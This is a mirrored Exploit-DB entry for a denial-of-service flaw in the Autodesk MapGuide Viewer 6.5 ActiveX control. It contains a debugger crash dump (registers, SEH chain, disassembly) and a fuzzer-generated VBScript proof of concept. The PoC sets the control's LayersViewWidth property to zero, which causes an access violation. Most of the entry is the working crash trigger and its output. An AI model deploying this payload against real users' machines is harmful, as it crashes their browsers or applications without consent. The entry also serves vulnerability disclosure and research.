Autodesk MapGuide Viewer – ActiveX Denial of Service - 体验盒子

作者： d3b4g

日期： 2010-09-01

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/14858/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

# Exploit Title: Autodesk MapGuide Viewer ActiveX(MGAXCTRL.DLL)Overflow Vulnerability

# Date: [01-09-2010]

# Author: [d3b4g]

# Software Link: http://usa.autodesk.com/adsk/servlet/item?siteID=123112&id=9454821

# Version: [6.5]

# Tested on: [Winxp SP3]

# regards to ROL guys

Exception Code: ACCESS_VIOLATION

Disasm: 175CE9E CMP DWORD PTR [ESI+1C],0 (MGAXCTRL.DLL)

Seh Chain:

--------------------------------------------------

1 192847C MGAXCTRL.DLL

2 73352542 VBSCRIPT.dll

3 7C839AD8 KERNEL32.dll

Registers:

--------------------------------------------------

EIP 0175CE9E

EAX 00000001

EBX 003EB690 -> 0193F684

ECX 00000000

EDX 003E0608 -> 00180F98

EDI 003EB5D8 -> 0193FC24

ESI 00000404

EBP 0013EA84 -> 0013EAA0

ESP 0013EA58 -> 003EB644

ArgDump:

--------------------------------------------------

EBP+8 003EB644 -> 0193F90C

EBP+12 00000000

EBP+16 0013EAD4 -> 00130000

EBP+20 0042C4F4 -> 00110024

EBP+24 0013EA94 -> 0013EAD4

EBP+28 0013EB30 -> 0013EBC0

Block Disassembly:

--------------------------------------------------

175CE8F POP ESI

175CE90 JMP [EAX+60]

175CE93 PUSH ESI

175CE94 LEA ESI,[ECX+404]

175CE9A TEST ESI,ESI

175CE9C JE SHORT 0175CEC2

175CE9E CMP DWORD PTR [ESI+1C],0 <--- CRASH

175CEA2 JE SHORT 0175CEC2

175CEA4 PUSH 0

175CEA6 PUSH DWORD PTR [ESP+C]

175CEAA MOV ECX,ESI

175CEAC PUSH 0

175CEAE CALL 01912C63

175CEB3 MOV EAX,[ESI]

175CEB5 MOV ECX,ESI

PoC:

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog

targetFile = "C:\Program Files\Autodesk\MapGuideViewerActiveX6.5\MgAxCtrl.dll"

prototype= "Property Let LayersViewWidth As Long"

memberName = "LayersViewWidth"

progid = "MGMapControl.MGMap"

argCount = 1

arg1=0

target.LayersViewWidth = arg1

</script>